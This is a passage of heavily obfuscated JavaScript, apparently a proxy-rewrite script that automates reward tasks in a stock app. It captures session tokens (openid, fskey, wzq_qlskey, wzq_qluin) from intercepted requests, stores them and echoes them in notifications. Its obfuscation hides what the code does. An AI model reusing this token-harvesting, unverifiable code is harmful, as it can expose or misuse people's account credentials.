_0x28c9cc[_0x2271('‫3f0')]();if(_0x28c9cc[_0x2271('‮40')]){if(_0x24aee0[_0x2271('‮41f')](_0x24aee0[_0x2271('‮433')],_0x24aee0[_0x2271('‮434')])){for(const _0x56aaa1 of _0x28c9cc[_0x2271('‮40')]){await _0x28c9cc[_0x2271('‮3fb')](_0x56aaa1[_0x2271('‮40')]);}}else{console[_0x2271('‫4f')](_0x2271('‫31a')+result[_0x2271('‮ba')]);}}}}else{console[_0x2271('‫4f')](e);}}await _0x24aee0[_0x2271('‮424')](showmsg);}})()[_0x2271('‮435')](_0x3aa04e=>$[_0x2271('‮436')](_0x3aa04e))[_0x2271('‮437')](()=>$[_0x2271('‫284')]());async function GetRewrite(){var _0x11980c={'mAhHM':function(_0x30e48b,_0x46f215){return _0x30e48b(_0x46f215);},'HihJV':_0x2271('‮438'),'mBuwg':function(_0x3d2b5c,_0x5b0adf,_0x59f1da){return _0x3d2b5c(_0x5b0adf,_0x59f1da);},'eQIFZ':function(_0x9643a8,_0x3b4660){return _0x9643a8+_0x3b4660;},'bxupP':function(_0x2fe177,_0x10210c,_0x63dad4){return _0x2fe177(_0x10210c,_0x63dad4);},'EDXVc':function(_0xc32aa1,_0x37fd7){return _0xc32aa1>_0x37fd7;},'OjVfD':function(_0x31e07f,_0x293fc3){return _0x31e07f==_0x293fc3;},'ATnWr':_0x2271('‫439'),'qJaSs':_0x2271('‮43a'),'IenHC':function(_0x2bfb55,_0x30333d){return _0x2bfb55==_0x30333d;},'orGkk':function(_0x4f403b,_0x3fa117){return _0x4f403b===_0x3fa117;},'myYmY':_0x2271('‫43b'),'mAvKC':_0x2271('‮43c'),'MvBQi':function(_0x1796c0,_0x40df75){return _0x1796c0+_0x40df75;},'nmtAm':_0x2271('‫7'),'ExVpR':function(_0x1ed6ab,_0x6425f5){return _0x1ed6ab>_0x6425f5;},'TRiXZ':function(_0x2dd6be,_0xa612b5){return _0x2dd6be!==_0xa612b5;},'cMQIH':_0x2271('‮43d'),'SfaJN':function(_0x245c3d,_0x42b8d0){return _0x245c3d+_0x42b8d0;},'fffqq':function(_0x43937a,_0x5bcda3){return _0x43937a>_0x5bcda3;},'WGBHD':_0x2271('‫43e'),'aLVsF':_0x2271('‫48'),'rMGBR':_0x2271('‫43f'),'GtWjF':function(_0x33a5c4,_0x492116){return _0x33a5c4==_0x492116;},'GkMdn':function(_0x329db4,_0x247cdc){return _0x329db4+_0x247cdc;},'pQLTI':function(_0x4e11e2,_0x457649){return _0x4e11e2+_0x457649;},'JgELQ':function(_0x249df9,_0x26c1ca){return _0x249df9>_0x26c1ca;},'xEoKg':_0x2271('‫440'),'XOFDm':function(_0x5a30aa,_0x358328){return _0x5a30aa>_0x358328;},'OVAgE':function(_0x315f0c,_0x2c0955){return _0x315f0c+_0x2c0955;},'jNhbT':function(_0xeabb9b,_0x5e856e){return _0xeabb9b+_0x5e856e;}};if(_0x11980c[_0x2271('‫441')]($request[_0x2271('‮442')][_0x2271('‫5b')](_0x2271('‫443')),-0x1)&&$request[_0x2271('‫a4')][_0x2271('‮444')]){let _0x2912a7=$request[_0x2271('‫a4')][_0x2271('‮444')][_0x2271('‮445')](/zxg_(openid=[\w\-]+)/)[0x1];if(_0x11980c[_0x2271('‫446')](_0x2912a7,_0x11980c[_0x2271('‫447')]))return;let _0x13fb4c=_0x11980c[_0x2271('‮448')];let _0x38cc3d=$request[_0x2271('‫a4')][_0x2271('‮444')][_0x2271('‮445')](/(wzq_qlskey=[\w\-]+)/)[0x1];let _0x138b9f=$request[_0x2271('‫a4')][_0x2271('‮444')][_0x2271('‮445')](/(wzq_qluin=[\w\-]+)/)[0x1];let _0x4ccc8d=_0x2912a7+'&'+_0x13fb4c+'&'+_0x38cc3d+'&'+_0x138b9f;if(userCookie){if(_0x11980c[_0x2271('‫449')](userCookie[_0x2271('‫5b')](_0x2912a7),-0x1)){if(_0x11980c[_0x2271('‮44a')](_0x11980c[_0x2271('‫44b')],_0x11980c[_0x2271('‮44c')])){console[_0x2271('‫4f')](taskItem[_0x2271('‮50')]+'['+taskItem[_0x2271('‮51')]+'-'+id+'-'+tid+_0x2271('‮29c')+result[_0x2271('‮ba')]);}else{userCookie=_0x11980c[_0x2271('‮44d')](_0x11980c[_0x2271('‮44e')](userCookie,'\x0a'),_0x4ccc8d);$[_0x2271('‮98')](userCookie,_0x11980c[_0x2271('‮44f')]);let _0x51a99e=userCookie[_0x2271('‮9a')]('\x0a');$[_0x2271('‮75')](_0x11980c[_0x2271('‮44e')](jsname,_0x2271('‮9c')+_0x51a99e[_0x2271('‫55')]+_0x2271('‮9d')+_0x4ccc8d));}}else{if(_0x11980c[_0x2271('‫441')](userCookie[_0x2271('‫5b')](_0x2912a7),-0x1)&&_0x11980c[_0x2271('‫450')](userCookie[_0x2271('‫5b')](_0x38cc3d),-0x1)&&_0x11980c[_0x2271('‫450')](userCookie[_0x2271('‫5b')](_0x138b9f),-0x1))return;let _0x1738f6=userCookie[_0x2271('‮9a')]('\x0a');let _0x11113c=0x0;for(_0x11113c in _0x1738f6){if(_0x11980c[_0x2271('‮451')](_0x11980c[_0x2271('‫452')],_0x11980c[_0x2271('‫452')])){console[_0x2271('‫4f')]('['+share_type+_0x2271('‫3e1')+result[_0x2271('‮ba')]);}else{if(_0x11980c[_0x2271('‫450')](_0x1738f6[_0x11113c][_0x2271('‫5b')](_0x2912a7),-0x1)){_0x13fb4c=_0x1738f6[_0x11113c][_0x2271('‮445')](/(fskey=[\w-]*)/)[0x1];_0x4ccc8d=_0x2912a7+'&'+_0x13fb4c+'&'+_0x38cc3d+'&'+_0x138b9f;_0x1738f6[_0x11113c]=_0x4ccc8d;break;}}}userCookie=_0x1738f6[_0x2271('‫58')]('\x0a');$[_0x2271('‮98')](userCookie,_0x11980c[_0x2271('‮44f')]);$[_0x2271('‮75')](_0x11980c[_0x2271('‮44e')](jsname,_0x2271('‮453')+_0x11980c[_0x2271('‮44e')](_0x11980c[_0x2271('‫454')](parseInt,_0x11113c),0x1)+_0x2271('‮9d')+_0x4ccc8d));}}else{$[_0x2271('‮98')](_0x4ccc8d,_0x11980c[_0x2271('‮44f')]);$[_0x2271('‮75')](_0x11980c[_0x2271('‮455')](jsname,_0x2271('‮456')+_0x4ccc8d));}}else if(_0x11980c[_0x2271('‫457')]($request[_0x2271('‮442')][_0x2271('‫5b')](_0x2271('‫458')),-0x1)){if(_0x11980c[_0x2271('‮44a')](_0x11980c[_0x2271('‮459')],_0x11980c[_0x2271('‮459')])){let _0x454356=$request[_0x2271('‮442')][_0x2271('‮445')](/(openid=[\w\-]*)/)[0x1];if(_0x11980c[_0x2271('‫449')](_0x454356,_0x11980c[_0x2271('‫447')]))return;let _0x13fb4c=$request[_0x2271('‮442')][_0x2271('‮445')](/(fskey=[\w\-]*)/)[0x1];let _0x38cc3d=_0x11980c[_0x2271('‮45a')];let _0x138b9f=_0x11980c[_0x2271('‫45b')];let _0x4ccc8d=_0x454356+'&'+_0x13fb4c+'&'+_0x38cc3d+'&'+_0x138b9f;if(userCookie){if(_0x11980c[_0x2271('‫45c')](userCookie[_0x2271('‫5b')](_0x454356),-0x1)){userCookie=_0x11980c[_0x2271('‮45d')](_0x11980c[_0x2271('‫45e')](userCookie,'\x0a'),_0x4ccc8d);$[_0x2271('‮98')](userCookie,_0x11980c[_0x2271('‮44f')]);let _0x1738f6=userCookie[_0x2271('‮9a')]('\x0a');$[_0x2271('‮75')](_0x11980c[_0x2271('‫45e')](jsname,_0x2271('‮9c')+_0x1738f6[_0x2271('‫55')]+_0x2271('‮9d')+_0x4ccc8d));}else{if(_0x11980c[_0x2271('‫457')](userCookie[_0x2271('‫5b')](_0x454356),-0x1)&&_0x11980c[_0x2271('‫45f')](userCookie[_0x2271('‫5b')](_0x13fb4c),-0x1))return;let _0x1738f6=userCookie[_0x2271('‮9a')]('\x0a');let _0x11113c=0x0;for(_0x11113c in _0x1738f6){if(_0x11980c[_0x2271('‮44a')](_0x11980c[_0x2271('‮460')],_0x11980c[_0x2271('‮460')])){if(_0x11980c[_0x2271('‮461')](_0x1738f6[_0x11113c][_0x2271('‫5b')](_0x454356),-0x1)){_0x38cc3d=_0x1738f6[_0x11113c][_0x2271('‮445')](/(wzq_qlskey=[\w-]*)/)[0x1];_0x138b9f=_0x1738f6[_0x11113c][_0x2271('‮445')](/(wzq_qluin=[\w-]*)/)[0x1];_0x4ccc8d=_0x454356+'&'+_0x13fb4c+'&'+_0x38cc3d+'&'+_0x138b9f;_0x1738f6[_0x11113c]=_0x4ccc8d;break;}}else{console[_0x2271('‫4f')](result[_0x2271('‫40a')][_0x2271('‮40b')]);_0x11980c[_0x2271('‫454')](logAndNotify,result[_0x2271('‫40a')][_0x2271('‮40b')]);}}userCookie=_0x1738f6[_0x2271('‫58')]('\x0a');$[_0x2271('‮98')](userCookie,_0x11980c[_0x2271('‮44f')]);$[_0x2271('‮75')](_0x11980c[_0x2271('‫45e')](jsname,_0x2271('‮453')+_0x11980c[_0x2271('‮462')](_0x11980c[_0x2271('‫454')](parseInt,_0x11113c),0x1)+_0x2271('‮9d')+_0x4ccc8d));}}else{$[_0x2271('‮98')](_0x4ccc8d,_0x11980c[_0x2271('‮44f')]);$[_0x2271('‮75')](_0x11980c[_0x2271('‮463')](jsname,_0x2271('‮456')+_0x4ccc8d));}}else{var _0x31a962=_0x11980c[_0x2271('‮464')][_0x2271('‮9a')]('|'),_0x32bc0f=0x0;while(!![]){switch(_0x31a962[_0x32bc0f++]){case'0':var _0x2394cd=_0x11980c[_0x2271('‮465')](padStr,_0x11980c[_0x2271('‮44d')](_0x56e2b3[_0x2271('‫466')](),0x1),0x2);continue;case'1':var _0x56e2b3=new Date();continue;case'2':var _0x6e26f3=_0x56e2b3[_0x2271('‮467')]();continue;case'3':return''+_0x6e26f3+_0x2394cd+_0x42c24d;case'4':var _0x42c24d=_0x11980c[_0x2271('‫468')](padStr,_0x56e2b3[_0x2271('‮469')](),0x2);continue;}break;}}}}async function checkEnv(){var _0x5905f5={'bfpqO':function(_0x5d00d0,_0x7dd82b){return _0x5d00d0>_0x7dd82b;},'ztXoY':_0x2271('‫26f')};if(userCookie){let _0x2cdde6=envSplitor[0x0];for(let _0x43787b of envSplitor){if(_0x5905f5[_0x2271('‮46a')](userCookie[_0x2271('‫5b')](_0x43787b),-0x1)){_0x2cdde6=_0x43787b;break;}}for(let _0x18c113 of userCookie[_0x2271('‮9a')](_0x2cdde6)){if(_0x18c113)userList[_0x2271('‮4e')](new UserInfo(_0x18c113));}userCount=userList[_0x2271('‫427')](_0x13ca51=>_0x13ca51[_0x2271('‫3a')])[_0x2271('‫55')];}else{console[_0x2271('‫4f')](_0x5905f5[_0x2271('‫46b')]);return;}console[_0x2271('‫4f')](_0x2271('‮46c')+userCount+_0x2271('‮46d'));return!![];}async function showmsg(){var _0xfb05f4={'hjApQ':function(_0xb903b1,_0x824b8e){return _0xb903b1^_0x824b8e;},'rphIt':function(_0x2d94c8,_0x99e916){return _0x2d94c8^_0x99e916;},'yqieg':function(_0x3fdb92,_0x5bb91d){return _0x3fdb92+_0x5bb91d;},'XtTsk':function(_0x4dddb4,_0x4bc335){return _0x4dddb4+_0x4bc335;},'KVeLP':_0x2271('‮46e'),'UcTVJ':function(_0x47e69b,_0x547dd0){return _0x47e69b>_0x547dd0;},'qujqy':function(_0x2ace12,_0x2fd44b){return _0x2ace12!==_0x2fd44b;},'fxxZQ':_0x2271('‮46f'),'OyKha':_0x2271('‫470'),'UmnbM':function(_0x4a0376,_0x13e0fb){return _0x4a0376(_0x13e0fb);},'uLgtQ':_0x2271('‫471'),'ftxao':function(_0xf9a8ed,_0x47ff34){return _0xf9a8ed===_0x47ff34;},'VyaaT':_0x2271('‮472'),'RLIJE':_0x2271('‮473'),'XXhxV':_0x2271('‮474'),'sLcuK':_0x2271('‫475'),'JbJiF':function(_0x192954,_0x315450){return _0x192954+_0x315450;}};if(!notifyStr)return;notifyBody=_0xfb05f4[_0x2271('‫476')](_0xfb05f4[_0x2271('‫477')](jsname,_0xfb05f4[_0x2271('‮478')]),notifyStr);if(_0xfb05f4[_0x2271('‮479')](notifyFlag,0x0)){if($[_0x2271('‫1')]()){if(_0xfb05f4[_0x2271('‮47a')](_0xfb05f4[_0x2271('‫47b')],_0xfb05f4[_0x2271('‮47c')])){var _0x2e500b=_0xfb05f4[_0x2271('‫47d')](require,_0xfb05f4[_0x2271('‫47e')]);await _0x2e500b[_0x2271('‮47f')]($[_0x2271('‫39')],notifyBody);}else{console[_0x2271('‫4f')](_0x2271('‮249')+actid+_0x2271('‮24a')+result[_0x2271('‫53')]);}}else{if(_0xfb05f4[_0x2271('‫480')](_0xfb05f4[_0x2271('‫481')],_0xfb05f4[_0x2271('‮482')])){return _0xfb05f4[_0x2271('‮483')](_0xfb05f4[_0x2271('‫484')](a,b),c);}else{$[_0x2271('‮75')](notifyBody);}}}else{if(_0xfb05f4[_0x2271('‫480')](_0xfb05f4[_0x2271('‫485')],_0xfb05f4[_0x2271('‫486')])){console[_0x2271('‫4f')](e);}else{console[_0x2271('‫4f')](_0xfb05f4[_0x2271('‮487')]('\x0a',notifyBody));}}}function formatDateTime(){var _0x29ab28={'XLyFX':_0x2271('‮488'),'ylrfB':function(_0x5c543b,_0x38c29a,_0x31b877){return _0x5c543b(_0x38c29a,_0x31b877);},'fSDXV':function(_0x4de997,_0x1915d5){return _0x4de997+_0x1915d5;}};var _0x31b6ef=_0x29ab28[_0x2271('‮489')][_0x2271('‮9a')]('|'),_0x443ce5=0x0;while(!![]){switch(_0x31b6ef[_0x443ce5++]){case'0':return''+_0x1661ac+_0x11da66+_0x2cca58;case'1':var _0x2cca58=_0x29ab28[_0x2271('‮48a')](padStr,_0xabd1de[_0x2271('‮469')](),0x2);continue;case'2':var _0x1661ac=_0xabd1de[_0x2271('‮467')]();continue;case'3':var _0x11da66=_0x29ab28[_0x2271('‮48a')](padStr,_0x29ab28[_0x2271('‫48b')](_0xabd1de[_0x2271('‫466')](),0x1),0x2);continue;case'4':var _0xabd1de=new Date();continue;}break;}};function logAndNotify(_0x123fbc){console[_0x2271('‫4f')](_0x123fbc);notifyStr+=_0x123fbc;notifyStr+='\x0a';}async function pushDear(_0x41a1a6){var _0x16d136={'stdSp':_0x2271('‮48c'),'VJIIS':function(_0x36dfcf,_0x6dcc48){return _0x36dfcf(_0x6dcc48);},'rzpIq':function(_0x4377cf,_0x4111fe,_0x373156){return _0x4377cf(_0x4111fe,_0x373156);},'wUVnB':_0x2271('‫82'),'vLrWS':function(_0x39c6f2,_0x4c7f44){return _0x39c6f2==_0x4c7f44;}};if(!PushDearKey)return;if(!_0x41a1a6)return;console[_0x2271('‫4f')](_0x16d136[_0x2271('‮48d')]);console[_0x2271('‫4f')](_0x41a1a6);let _0x349d0d={'url':_0x2271('‮48e')+PushDearKey+_0x2271('‮48f')+_0x16d136[_0x2271('‮490')](encodeURIComponent,_0x41a1a6),'headers':{}};await _0x16d136[_0x2271('‮491')](httpRequest,_0x16d136[_0x2271('‮492')],_0x349d0d);let _0xeb4c8b=httpResult;let _0x2cb27c=_0x16d136[_0x2271('‫493')](_0xeb4c8b[_0x2271('‫494')][_0x2271('‮495')],![])?'失败':'成功';console[_0x2271('‫4f')](_0x2271('‮496')+_0x2cb27c+_0x2271('‮497'));}function populateUrlObject(_0x27fcb3,_0x1934c2,_0x892614=''){var _0x56fdc1={'FKkCP':_0x2271('‮2a4'),'Ziqnf':_0x2271('‫2a5'),'tFbCq':_0x2271('‫7f'),'BDAuu':_0x2271('‮80'),'iJtCL':_0x2271('‫81')};let _0x50ec25=_0x27fcb3[_0x2271('‫104')]('//','/')[_0x2271('‮9a')]('/')[0x1];let _0x447c45={'url':_0x27fcb3,'headers':{'Host':_0x50ec25,'Cookie':_0x1934c2,'User-Agent':_0x56fdc1[_0x2271('‮498')],'Connection':_0x56fdc1[_0x2271('‮499')]}};if(_0x892614){_0x447c45[_0x2271('‫a3')]=_0x892614;_0x447c45[_0x2271('‫a4')][_0x56fdc1[_0x2271('‮49a')]]=_0x56fdc1[_0x2271('‮49b')];_0x447c45[_0x2271('‫a4')][_0x56fdc1[_0x2271('‫49c')]]=_0x447c45[_0x2271('‫a3')]?_0x447c45[_0x2271('‫a3')][_0x2271('‫55')]:0x0;}return _0x447c45;}async function httpRequest(_0x1daa19,_0x3ef5bc,_0x34ecf7=0x1388){var _0x334a22={'MOTCA':function(_0x3c69d5,_0x28dc57){return _0x3c69d5==_0x28dc57;},'jpIhj':function(_0x3ca01d,_0x9f1556){return _0x3ca01d(_0x9f1556);},'sQiTk':function(_0x12774c,_0x11dbc5){return _0x12774c<_0x11dbc5;},'LPnkE':function(_0x4f03c6,_0xb0e72a){return _0x4f03c6>_0xb0e72a;},'KWIPV':function(_0x988c2b,_0x4d7517){return _0x988c2b|_0x4d7517;},'LEYPi':function(_0x184ef6,_0xdf10a9){return _0x184ef6>>_0xdf10a9;},'JdMlf':function(_0x55f1d5,_0x785f57){return _0x55f1d5&_0x785f57;},'lJwcn':function(_0x585f0b,_0x49db40){return _0x585f0b-_0x49db40;},'bniTv':_0x2271('‮14d'),'egeHn':function(_0x1c66e9,_0x25e8c0){return _0x1c66e9===_0x25e8c0;},'LFIyq':_0x2271('‮49d'),'uEday':_0x2271('‫49e'),'ZYvDx':function(_0x5a8de9,_0x3d906f){return _0x5a8de9!==_0x3d906f;},'NRBWd':_0x2271('‮49f'),'zorMz':function(_0x4c10b5,_0x49c691){return _0x4c10b5!==_0x49c691;},'HVFGt':_0x2271('‫4a0'),'KrXzC':function(_0x56cb1d,_0x27d54a){return _0x56cb1d(_0x27d54a);},'cJOSR':_0x2271('‫4a1'),'nATSs':_0x2271('‫4a2'),'FsyIZ':_0x2271('‮4a3'),'OAEiH':_0x2271('‫4a4'),'QHGGc':_0x2271('‮4a5'),'SjmwD':function(_0x166713){return _0x166713();}};httpResult=null;return new Promise(_0x2d5bdf=>{var _0xd0b71={'VzIJZ':function(_0x1294f5,_0x328178){return _0x334a22[_0x2271('‮4a6')](_0x1294f5,_0x328178);},'AZCKI':function(_0x37ed49,_0x2d8aea){return _0x334a22[_0x2271('‮4a7')](_0x37ed49,_0x2d8aea);},'oFRnX':function(_0x335823,_0x54cb0e){return _0x334a22[_0x2271('‮4a8')](_0x335823,_0x54cb0e);},'NdqLL':function(_0xd1c072,_0x3550da){return _0x334a22[_0x2271('‮4a9')](_0xd1c072,_0x3550da);},'AajFh':function(_0x4157cb,_0x1b9f9d){return _0x334a22[_0x2271('‮4aa')](_0x4157cb,_0x1b9f9d);},'CIViU':function(_0x3431bb,_0x954b66){return _0x334a22[_0x2271('‫4ab')](_0x3431bb,_0x954b66);},'NZuTD':function(_0x54d884,_0x27679){return _0x334a22[_0x2271('‫4ac')](_0x54d884,_0x27679);},'ryHDK':function(_0x5a0ad8,_0x4cd97c){return _0x334a22[_0x2271('‮4aa')](_0x5a0ad8,_0x4cd97c);},'QXhBV':function(_0x1a9c20,_0x15b17a){return _0x334a22[_0x2271('‮4ad')](_0x1a9c20,_0x15b17a);},'IMRpt':_0x334a22[_0x2271('‫4ae')],'pMSFp':function(_0x173921,_0x2c94f8){return _0x334a22[_0x2271('‫4af')](_0x173921,_0x2c94f8);},'Wntgq':_0x334a22[_0x2271('‮4b0')],'BBQJj':_0x334a22[_0x2271('‫4b1')],'LXUqa':function(_0x2aee8d,_0x17814f){return _0x334a22[_0x2271('‮4b2')](_0x2aee8d,_0x17814f);},'xOMlX':_0x334a22[_0x2271('‮4b3')],'RifGH':function(_0x4c23fc,_0x1f9905){return _0x334a22[_0x2271('‫4b4')](_0x4c23fc,_0x1f9905);},'bGdPN':_0x334a22[_0x2271('‫4b5')],'gFdYc':function(_0x26cf67,_0x539a8f){return _0x334a22[_0x2271('‫4b6')](_0x26cf67,_0x539a8f);},'JWcEQ':function(_0x2d6d9c,_0x1075a2){return _0x334a22[_0x2271('‫4b4')](_0x2d6d9c,_0x1075a2);},'tWSSk':_0x334a22[_0x2271('‫4b7')],'ZVsjS':function(_0x485c64,_0x456973){return _0x334a22[_0x2271('‫4b4')](_0x485c64,_0x456973);},'UXBMe':_0x334a22[_0x2271('‫4b8')],'GSiaP':_0x334a22[_0x2271('‫4b9')],'YGYPm':_0x334a22[_0x2271('‮4ba')],'eepYD':_0x334a22[_0x2271('‫4bb')],'cziIt':function(_0x33a020){return _0x334a22[_0x2271('‫4bc')](_0x33a020);}};$[_0x1daa19](_0x3ef5bc,async(_0x2d7660,_0x5dbdc6,_0x102dab)=>{var _0x1a7f97={'PSkbQ':function(_0xca2075,_0x1e1241){return _0xd0b71[_0x2271('‮4bd')](_0xca2075,_0x1e1241);},'lclKb':function(_0x4026a7,_0x1cb365){return _0xd0b71[_0x2271('‫4be')](_0x4026a7,_0x1cb365);},'KVBqa':function(_0x4ddfcb,_0xf59972){return _0xd0b71[_0x2271('‫4bf')](_0x4ddfcb,_0xf59972);},'WDScQ':function(_0x3cf5be,_0x16b16d){return _0xd0b71[_0x2271('‮4c0')](_0x3cf5be,_0x16b16d);},'utxqP':function(_0x3fa36d,_0x47f59e){return _0xd0b71[_0x2271('‫4c1')](_0x3fa36d,_0x47f59e);},'KTDJD':function(_0x565df0,_0x275ff7){return _0xd0b71[_0x2271('‮4c2')](_0x565df0,_0x275ff7);},'qhvRq':function(_0x568ab5,_0x2f054f){return _0xd0b71[_0x2271('‮4c3')](_0x568ab5,_0x2f054f);},'SKAit':function(_0x5d8e72,_0x12deeb){return _0xd0b71[_0x2271('‮4c4')](_0x5d8e72,_0x12deeb);},'ioILO':function(_0x168702,_0xa1c347){return _0xd0b71[_0x2271('‮4c4')](_0x168702,_0xa1c347);},'geksC':function(_0x1bfa38,_0x53483b){return _0xd0b71[_0x2271('‮4c3')](_0x1bfa38,_0x53483b);},'RNxNo':function(_0x3dc88c,_0x51f40b){return _0xd0b71[_0x2271('‮4c2')](_0x3dc88c,_0x51f40b);},'jDkbv':function(_0x1ff7fa,_0x1a1c04){return _0xd0b71[_0x2271('‮4c4')](_0x1ff7fa,_0x1a1c04);},'uPHcR':function(_0x47826e,_0x5ea0e5){return _0xd0b71[_0x2271('‮4c3')](_0x47826e,_0x5ea0e5);},'XCejL':function(_0x23745f,_0x172dc0){return _0xd0b71[_0x2271('‮4c5')](_0x23745f,_0x172dc0);},'yuPQu':_0xd0b71[_0x2271('‫4c6')]};try{if(_0xd0b71[_0x2271('‮4c7')](_0xd0b71[_0x2271('‮4c8')],_0xd0b71[_0x2271('‮4c9')])){console[_0x2271('‫4f')](e);}else{if(_0x2d7660){if(_0xd0b71[_0x2271('‮4ca')](_0xd0b71[_0x2271('‫4cb')],_0xd0b71[_0x2271('‫4cb')])){console[_0x2271('‫4f')](e);}else{console[_0x2271('‫4f')](_0x1daa19+_0x2271('‫4cc'));console[_0x2271('‫4f')](JSON[_0x2271('‫4cd')](_0x2d7660));$[_0x2271('‮436')](_0x2d7660);}}else{if(_0xd0b71[_0x2271('‮4ce')](_0xd0b71[_0x2271('‮4cf')],_0xd0b71[_0x2271('‮4cf')])){if(result[_0x2271('‮2de')]&&_0x1a7f97[_0x2271('‮4d0')](result[_0x2271('‮2de')][_0x2271('‮12f')],0x1)){console[_0x2271('‫4f')]('['+share_type+_0x2271('‫2e0')+result[_0x2271('‮2de')][_0x2271('‮2e1')]+']');}else if(_0x1a7f97[_0x2271('‮4d0')](result[_0x2271('‮ba')],'OK')){console[_0x2271('‫4f')]('['+share_type+_0x2271('‮2e2'));}else{console[_0x2271('‫4f')](result);}}else{if(_0xd0b71[_0x2271('‫4d1')](safeGet,_0x102dab)){if(_0xd0b71[_0x2271('‮4d2')](_0xd0b71[_0x2271('‮4d3')],_0xd0b71[_0x2271('‮4d3')])){console[_0x2271('‫4f')](e);}else{httpResult=JSON[_0x2271('‮103')](_0x102dab);}}else{if(_0xd0b71[_0x2271('‫4d4')](_0xd0b71[_0x2271('‫4d5')],_0xd0b71[_0x2271('‫4d6')])){httpResult=_0x5dbdc6;}else{if(result[_0x2271('‫40a')][_0x2271('‮40b')]){console[_0x2271('‫4f')](result[_0x2271('‫40a')][_0x2271('‮40b')]);_0x1a7f97[_0x2271('‮4d7')](logAndNotify,result[_0x2271('‫40a')][_0x2271('‮40b')]);}}}}}}}catch(_0x5329d3){if(_0xd0b71[_0x2271('‮4c7')](_0xd0b71[_0x2271('‫4d8')],_0xd0b71[_0x2271('‫4d8')])){$[_0x2271('‮436')](_0x5329d3,_0x5dbdc6);}else{var _0x4a1f6e=_0x5329d3[_0x2271('‮d7')](n);if(_0x1a7f97[_0x2271('‮4d9')](_0x4a1f6e,0x80)){t+=String[_0x2271('‮79')](_0x4a1f6e);}else if(_0x1a7f97[_0x2271('‫4da')](_0x4a1f6e,0x7f)&&_0x1a7f97[_0x2271('‮4d9')](_0x4a1f6e,0x800)){t+=String[_0x2271('‮79')](_0x1a7f97[_0x2271('‮4db')](_0x1a7f97[_0x2271('‮4dc')](_0x4a1f6e,0x6),0xc0));t+=String[_0x2271('‮79')](_0x1a7f97[_0x2271('‮4db')](_0x1a7f97[_0x2271('‮4dd')](_0x4a1f6e,0x3f),0x80));}else{t+=String[_0x2271('‮79')](_0x1a7f97[_0x2271('‫4de')](_0x1a7f97[_0x2271('‮4dc')](_0x4a1f6e,0xc),0xe0));t+=String[_0x2271('‮79')](_0x1a7f97[_0x2271('‫4df')](_0x1a7f97[_0x2271('‫4e0')](_0x1a7f97[_0x2271('‮4e1')](_0x4a1f6e,0x6),0x3f),0x80));t+=String[_0x2271('‮79')](_0x1a7f97[_0x2271('‫4e2')](_0x1a7f97[_0x2271('‫4e3')](_0x4a1f6e,0x3f),0x80));}}}finally{if(_0xd0b71[_0x2271('‫4d4')](_0xd0b71[_0x2271('‫4e4')],_0xd0b71[_0x2271('‫4e4')])){return _0x1a7f97[_0x2271('‮4e5')](Math[_0x2271('‫1ae')](b[_0x1a7f97[_0x2271('‮4e6')]]),Math[_0x2271('‫1ae')](a[_0x1a7f97[_0x2271('‮4e6')]]));}else{_0xd0b71[_0x2271('‮4e7')](_0x2d5bdf);}}},_0x34ecf7);});}function safeGet(_0x1bbe56){var _0x25eb07={'mrMYP':function(_0x379b36,_0x476ecd){return _0x379b36!==_0x476ecd;},'fUUMj':_0x2271('‫4e8'),'BQhuA':function(_0x4d9523,_0x22905d){return _0x4d9523==_0x22905d;},'NOzPO':_0x2271('‮4e9')};try{if(_0x25eb07[_0x2271('‫4ea')](_0x25eb07[_0x2271('‮4eb')],_0x25eb07[_0x2271('‮4eb')])){this[_0x2271('‮3e')][_0x2271('‫1b7')]=result[_0x2271('‫1b5')];console[_0x2271('‫4f')](_0x2271('‫1b8'));}else{if(_0x25eb07[_0x2271('‮4ec')](typeof JSON[_0x2271('‮103')](_0x1bbe56),_0x25eb07[_0x2271('‫4ed')])){return!![];}else{console[_0x2271('‫4f')](_0x1bbe56);return![];}}}catch(_0x4635fb){return![];}}function getMin(_0x406fc0,_0x13687e){var _0x1fcd53={'ANhCt':function(_0x22410d,_0x887ef7){return _0x22410d<_0x887ef7;}};return _0x1fcd53[_0x2271('‮4ee')](_0x406fc0,_0x13687e)?_0x406fc0:_0x13687e;}function getMax(_0x148cdf,_0x18b9a){var _0x47070b={'UXaRv':function(_0x82f683,_0x450509){return _0x82f683<_0x450509;}};return _0x47070b[_0x2271('‫4ef')](_0x148cdf,_0x18b9a)?_0x18b9a:_0x148cdf;}function padStr(_0x117005,_0x264311,_0x2e1d31='0'){var _0x54d653={'uHYow':function(_0x58c481,_0x62c0b4){return _0x58c481(_0x62c0b4);},'MCkMT':function(_0x2567a7,_0x1ebd21){return _0x2567a7>_0x1ebd21;},'oYDUp':function(_0x5db04a,_0xc30b68){return _0x5db04a-_0xc30b68;},'IofFL':function(_0x3ff0d2,_0x54bb00){return _0x3ff0d2<_0x54bb00;},'LfjDE':function(_0x224c4b,_0xd7f2dd){return _0x224c4b===_0xd7f2dd;},'LqshY':_0x2271('‮4f0'),'kNMuE':_0x2271('‫4f1')};let _0x1378f9=_0x54d653[_0x2271('‫4f2')](String,_0x117005);let _0x20fe4b=_0x54d653[_0x2271('‫4f3')](_0x264311,_0x1378f9[_0x2271('‫55')])?_0x54d653[_0x2271('‫4f4')](_0x264311,_0x1378f9[_0x2271('‫55')]):0x0;let _0x26b796='';for(let _0x3a792c=0x0;_0x54d653[_0x2271('‮4f5')](_0x3a792c,_0x20fe4b);_0x3a792c++){if(_0x54d653[_0x2271('‫4f6')](_0x54d653[_0x2271('‫4f7')],_0x54d653[_0x2271('‫4f8')])){console[_0x2271('‫4f')](_0x2271('‫14a')+result[_0x2271('‮ba')]);}else{_0x26b796+=_0x2e1d31;}}_0x26b796+=_0x1378f9;return _0x26b796;}function json2str(_0xbaea2b,_0x401535=![]){var _0x2c27f7={'oHaCB':function(_0x44d151,_0x78b316){return _0x44d151&&_0x78b316;},'kmkYT':function(_0x181e7b,_0x2a7f90){return _0x181e7b(_0x2a7f90);},'uyYQn':function(_0x3c80dd,_0x54b4ea){return _0x3c80dd+_0x54b4ea;},'rNLvl':function(_0x3ae963,_0x15b22d){return _0x3ae963+_0x15b22d;}};let _0x608b20=[];for(let _0x16f0da of Object[_0x2271('‫397')](_0xbaea2b)[_0x2271('‫1ac')]()){let 